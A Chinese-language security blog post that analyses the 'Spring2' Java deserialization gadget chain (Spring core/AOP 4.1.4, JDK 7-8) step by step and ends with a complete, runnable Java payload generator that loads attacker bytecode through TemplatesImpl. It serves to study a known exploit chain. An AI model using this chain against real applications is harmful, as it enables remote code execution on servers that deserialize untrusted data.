spring2-gadget

  1. 依赖版本

spring-core : 4.1.4.RELEASE
spring-aop : 4.1.4.RELEASE
jdk 1.7-1.8

Spring2 在 Spring1 的触发链上有所变换,替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler,使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程。

0x01 MethodInvokeTypeProvider

org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.java

接下来我们从反序列触发点开始分析。

readObject()

1
2
3
4
5
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

img

先在class找对应的方法,然后使用这个方法。调用的方法只能是无参方法。很容易就想到TemplatesImpl.newTransformer()。也就是办法把methodName改为newTransformer,provider.getType().getClass()要得到TemplatesI。

0x02 AnnotationInvocationHandler.java

sun/reflect/annotation/AnnotationInvocationHandler.java

通过这个AnnotationInvocationHandler.java 动态代理结合interfaces,然后在反射构造函数传入map,map里面包含interfaces里面的方法名,和一个对象(map(“方法名”,Object)),就可以在invocationHandler.invoke()调用时放回这个Object,这就是Spring1这条链的精髓所在

img

img

img

invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

0x03 TypeProvider

org.springframework.core.SerializableTypeWrapper$TypeProvider

img

TypeProvider这个接口刚好有这个方法,可以想到通过AnnotationInvocationHandler.invoke来放回TemplatesI。

那么就是通过动态代理代理TypeProvider接口,invocationHandler传入AnnotationInvocationHandler,然后通过反射调用构造函数传入map(“geType”,TemplatesI),在调用接口任意方法就能返回TemplatesI。

对应的实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);



// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", templates);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler);


// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
cons.newInstance(typeProviderProxy,Templates.class.getMethod("newTransformer"), 0);

调试

img

可以发现成功返回了TemplatesImpl。

但是为什么没有加载成功defindclass了。

img

这里报错需要一个Type,但是TemplatesImpl cannot be cast to java.lang.reflect.Type,我们需要返回type对象,然后这个继续通过动态代理type对象然后返回TemplatesImpl对象。 这样需要一个InvocationHandler接口的实现类,它的invoke需要满足返回需要去触发另一个动态代理去返回TemplatesImpl对象,然后它需要继承Serializable,最好是jdk原生类,或者Spring里面的类。前辈找到了JdkDynamicAopProxy可以满足这个要求。

0x04 JdkDynamicAopProxy,AdvisedSupport

org/springframework/aop/framework/AdvisedSupport.java

img

org/springframework/aop/framework/AdvisedSupport.java#setTarget()

img

也就是通过setTarget对EMPTY_TARGET_SOURCE赋值,从而对targetSource赋值,

org/springframework/aop/framework/JdkDynamicAopProxy.java#invoke()

img

获取 AdvisedSupport 里的 TargetSource,并调用 getTarget() 方法返回其中的对象

img

img调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回。

方法里就是简单的反射调用。

img

在看JdkDynamicAopProxy构造函数。

img

一切都很巧妙。

总结起来就是先初始化AdvisedSupport,然后把template对象setTarget进去,然后JdkDynamicAopProxy构造函数赋值advised为AdvisedSupport。这样动态代理JdkDynamicAopProxy时,就能触发targetSource.getTarget(),得到template对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
      Class<?> Annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationDeclaredConstructor = Annotation.getDeclaredConstructors()[0];
annotationDeclaredConstructor.setAccessible(true);


AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Class<?> Aop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> AopConstructor = Aop.getDeclaredConstructors()[0];
AopConstructor.setAccessible(true);
InvocationHandler AopInvocationHandler = (InvocationHandler)AopConstructor.newInstance(advisedSupport);
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type Aopproxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class,
Templates.class}, AopInvocationHandler);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("getType",Aopproxy);
InvocationHandler AnnotationInvocationHandler = (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class, hashMap);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, AnnotationInvocationHandler);

Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> MethodIConstructor = clazz2.getDeclaredConstructors()[0];
MethodIConstructor.setAccessible(true);

Object objects = MethodIConstructor.newInstance(typeProviderProxy,Templates.class.getMethod("newTransformer"),0);

img

运行没有问题。

由于需要反序列化触发。

所以MethodInvokeTypeProvider初始化时Method随便传一个,然后通过反射修改回newTransfrom。

1
2
Object objects = MethodIConstructor.newInstance(typeProviderProxy,Object.class.getMethod("toString"),0);
setFieldValue(objects,"methodName","newTransformer");

0x05 完整利用链

1
2
3
4
5
6
7
8
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
ReflectionUtils.invokeMethod()
Templates(Proxy).newTransformer()
JdkDynamicAopProxy.invoke()
AopUtils.invokeJoinpointUsingReflection()
TemplatesImpl.newTransformer()

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.tmp.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.AopProxy;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class spring2 {
public static void main(String[] args) throws Exception {

byte[] classBytes = Files.readAllBytes(Paths.get("EvilCat.class"));
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates,"_bytecodes",targetByteCodes);
setFieldValue(templates,"_name","123");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

Class<?> Annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationDeclaredConstructor = Annotation.getDeclaredConstructors()[0];
annotationDeclaredConstructor.setAccessible(true);


AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Class<?> Aop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> AopConstructor = Aop.getDeclaredConstructors()[0];
AopConstructor.setAccessible(true);
InvocationHandler AopInvocationHandler = (InvocationHandler)AopConstructor.newInstance(advisedSupport);

Type Aopproxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class,
Templates.class}, AopInvocationHandler);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("getType",Aopproxy);
InvocationHandler AnnotationInvocationHandler = (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class, hashMap);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, AnnotationInvocationHandler);

Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> MethodIConstructor = clazz2.getDeclaredConstructors()[0];
MethodIConstructor.setAccessible(true);

Object objects = MethodIConstructor.newInstance(typeProviderProxy,Object.class.getMethod("toString"),0);
setFieldValue(objects,"methodName","newTransformer");

try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(objects);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}


public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

0x06 链接

https://su18.org/post/ysoserial-su18-3/#spring2


spring2-gadget
https://unam4.github.io/2023/12/14/spring2-gadget/
作者
unam4
发布于
2023年12月14日
许可协议